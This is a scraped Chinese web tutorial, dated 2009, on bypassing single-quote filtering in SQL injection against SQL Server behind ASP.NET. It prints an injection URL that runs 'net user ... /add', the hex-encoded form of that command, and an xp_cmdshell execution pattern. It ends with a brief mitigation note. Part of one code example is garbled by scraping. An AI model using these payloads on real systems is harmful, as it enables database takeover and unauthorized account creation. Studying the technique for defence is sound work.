当前位置: 首页 > 图文教程 > 网络编程 > ASP.NET > SQL注入中绕过 单引号 限制继续注入

ASP.NET
获取字符串数组的最后一段字符
asp.net遍历目录文件夹和子目录所有文件
ASP.NET 中文显示之两种解决方法
asp.net替换和恢复html特殊字符
asp.net简化接收参数值的函数
asp.net验证一个字符串是否符合指定的正则表达式
asp.net求3位不同数字的组合数
C#(.NET)数据访问连接、查询、插入等操作的封装类
在ASP.NET2.0中通过Gmail发送邮件的代码
asp.net下配置数据源时出现: 未将对象引用设置到对象的实例。
asp.net gridview强制换行
asp.net gridview多页时的批量删除
未处理的事件"PageIndexChanging" 之解决方案
gridview调整单元格宽度的方法
aspx如果引用cs中的变量的方法
asp.net导出EXCEL的功能代码
asp.net注册Javascript的方法
Asp.Net 文件操作基类
Asp.Net+XML操作基类(修改,删除,新增,创建)
asp.net 获取指定文件夹下所有子目录及文件(树形)

ASP.NET 中的 SQL注入中绕过 单引号 限制继续注入


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 86 ::
收藏到网摘: n/a

我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章,都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的 包括我写的那篇《SQL Injection的实现与应用》也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:
复制代码 代码如下:

http://www.ruanchen.com/'net user angel pass /add';--

这往往给大家造成误解,认为只要变量过滤了'就可以防止SQL Injection攻击,这种意识为大量程序可以注入埋下祸根,其实仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:
复制代码 代码如下:

http://www.ruanchen.com/"codetitle">复制代码 代码如下:

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白,先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
复制代码 代码如下:

declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

解决办法:
过滤变量,限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。